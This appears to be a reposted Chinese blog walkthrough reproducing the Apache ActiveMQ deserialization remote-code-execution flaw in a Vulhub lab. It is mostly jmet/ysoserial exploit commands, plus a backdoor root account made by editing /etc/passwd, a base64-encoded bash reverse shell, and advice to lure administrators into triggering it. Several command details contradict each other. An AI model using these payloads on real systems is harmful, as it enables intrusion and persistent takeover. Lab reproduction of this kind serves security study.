1.漏洞介紹,
Apache ActiveMQ 是美國阿帕奇(Apache)軟體基金會所研發的一套開源的訊息中間件,它支持 Java 訊息服務,集群,Spring Framework 等,Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,該漏洞源于程式沒有限制可在代理中序列化的類,遠程攻擊者可借助特制的序列化的 Java 訊息服務(JMS)ObjectMessage 物件利用該漏洞執行任意代碼,
2.環境介紹,
復現環境采用kali搭建Vulhub,
靶機:172.18.0.1:8161
環境運行后,將監聽61616和8161兩個埠,其中61616是作業埠,訊息在這個埠進行傳遞;8161是Web管理頁面埠,訪問http://your-ip:8161即可看到web管理頁面,不過這個漏洞理論上是不需要web的,
3.漏洞利用,
3.1漏洞利用程序簡述,
- 構造(可以使用ysoserial)可執行命令的序列化物件
- 作為一個訊息,發送給目標61616埠
- 訪問web管理頁面,讀取訊息,觸發漏洞
3.2具體程序,
(1)訪問web界面并進行登錄,
賬號:admin
密碼:admin

(2)使用jmet進行漏洞利用,
首先下載jmet的jar檔案,并在同目錄下創建一個external檔案夾(否則可能會爆檔案夾不存在的錯誤),
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar //下載jar檔案 mkdir external //創建external檔案夾
執行命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.18.0.1 61616
//創建/tmp/success,同理可進行其他命令的操作
我們回傳管理界面,發現添加了一個名為事件的佇列,

點擊進入

此時已經觸發命令執行,我們進入dockor查看
docker ps

docker exec -it b189872443f5 /bin/bash

可以發現tmp目錄已創建,進入發現sucess,漏洞利用成功

創建一個用戶
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 Tom" -Yp ROME 172.18.0.1 61616
觸發條件和之前相同,在管理界面去點擊佇列
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/Tom:x:0/g" /etc/passwd" -Yp ROME 172.18.0.1 61616 //修改權限 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "Tom:sd123456" | chpasswd" -Yp ROME 172.18.0.1 61616
//添加密碼
至此,一個權限為root,密碼為123456的用戶被我們創建成功,之后可以直接進行ssh遠程連接

或者將命令換為反彈shell再利用:
bash -i >& /dev/tcp/172.18.0.1/777 0>&1
使用base64編碼payload繞過Java機制
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx
附上base64編碼腳本
import base64 # Sample string to encode string = "bash -i >& /dev/tcp/172.18.0.1/777 0>&1" # Encoding the string encoded_string = base64.b64encode(string.encode('utf-8')) # Printing the encoded string print(encoded_string.decode('utf-8'))
構建pyload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 172.18.0.1 61616
使用nc監聽埠

反彈shell成功
值得注意的是,通過web管理頁面訪問訊息并觸發漏洞這個程序需要管理員權限,在沒有密碼的情況下,我們可以誘導管理員訪問我們的鏈接以觸發,或者偽裝成其他合法服務需要的訊息,等待客戶端訪問的時候觸發,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551105.html
標籤:其他
上一篇:[Week 18] 每日一題(C++,動態規劃,線段樹,數學)
下一篇:返回列表
